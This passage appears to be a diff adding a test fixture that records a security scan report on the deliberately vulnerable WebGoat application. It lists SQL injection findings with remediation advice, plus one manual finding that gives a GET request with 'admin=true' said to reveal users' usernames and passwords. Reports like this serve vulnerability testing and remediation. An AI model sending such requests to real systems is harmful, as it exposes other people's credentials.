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</data>\n</screenshot>\n<code>The
+        following GET request will display the username and password for users within
+        the application.\n\nGET /WebGoat/attack?Screen=1073550134&amp;menu=2000&amp;admin=true
+        HTTP/1.1\nHost: targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
+        rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nCookie: JSESSIONID=13984BA559044E0A4610D4AC31B06B27\n</code></appendix></flaw></manualflaws></cwe></category></severity><severity
+        level=\"4\"><category categoryid=\"19\" categoryname=\"SQL Injection\" pcirelated=\"false\"><desc><para
+        text=\"SQL injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct a SQL query.
+        \ This allows an attacker to manipulate database queries in order to access,
+        modify, or delete arbitrary data.  Depending on the platform, database type,
+        and configuration, it may also be possible to execute administrative operations
+        on the database, access the filesystem, or execute arbitrary system commands.
+        \ SQL injection attacks can also be used to subvert authentication and authorization
+        schemes, which would enable an attacker to gain privileged access to restricted
+        portions of the application.\"/></desc><recommendations><para text=\"Several
+        techniques can be used to prevent SQL injection attacks. These techniques
+        complement each other and address security at different points in the application.
+        Using multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a SQL injection vulnerability.\"><bulletitem text=\"Use parameterized prepared
+        statements rather than dynamically constructing SQL queries.  This will prevent
+        the database from interpreting the contents of bind variables as part of the
+        query and is the most effective defense against SQL injection.\"/><bulletitem
+        text=\"Validate user-supplied input using positive filters (white lists) to
+        ensure that it conforms to the expected format, using centralized data validation
+        routines when possible. \"/><bulletitem text=\"Normalize all user-supplied
+        data before applying filters or regular expressions, or submitting the data
+        to a database. This means that all URL-encoded (%xx), HTML-encoded (&amp;#xx;),
+        or other encoding schemes should be reduced to the internal character representation
+        expected by the application. This prevents attackers from using alternate
+        encoding schemes to bypass filters.\"/><bulletitem text=\"When using database
+        abstraction libraries such as Hibernate, do not assume that all methods exposed
+        by the API will automatically prevent SQL injection attacks.  Most libraries
+        contain methods that pass arbitrary queries to the database in an unsafe manner.\"/></para></recommendations><cwe
+        cweid=\"89\" cwename=\"Improper Neutralization of Special Elements used in
+        an SQL Command ('SQL Injection')\" pcirelated=\"false\" owasp=\"929\" sans=\"864\"><description><text
+        text=\"This database query contains a SQL injection flaw.  The function call
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input.  An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database.\"/></description><staticflaws><flaw severity=\"4\" categoryname=\"Improper
+        Neutralization of Special Elements used in an SQL Command ('SQL Injection')\"
+        count=\"1\" issueid=\"126\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.Statement.executeUpdate\"
+        description=\"This database query contains a SQL injection flaw. The call
+        to java.sql.Statement.executeUpdate() constructs a dynamic SQL query using
+        a variable derived from user-supplied input. An attacker could exploit this
+        flaw to execute arbitrary SQL queries against the database. The first argument
+        to executeUpdate() contains tainted data from the variable arrSQL. The tainted
+        data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        dynamically constructing SQL queries. Instead, use parameterized prepared
+        statements to prevent the database from interpreting the contents of bind
+        variables as part of the query. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BackDoors.java\"
+        line=\"106\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BackDoors\"
+        functionprototype=\"apache.ecs.Element concept1(session.WebSession)\" functionrelativelocation=\"26\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"91\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable arrSQL. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BackDoors.java\"
+        line=\"113\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BackDoors\"
+        functionprototype=\"apache.ecs.Element concept1(session.WebSession)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"236\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BlindSqlInjection.java\"
+        line=\"122\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BlindSqlInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"148\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"220\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage2(session.WebSession)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"66\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DOS_Login.java\"
+        line=\"114\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DOS_Login\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"26\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"245\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable insertData1. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DOS_Login.java\"
+        line=\"134\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DOS_Login\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"206\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"148\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.Login\" functionprototype=\"byte
+        login(session.WebSession, int, java.lang.String)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"75\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"149\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\"
+        functionprototype=\"byte login(session.WebSession, java.lang.String, java.lang.String)\"
+        functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"106\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
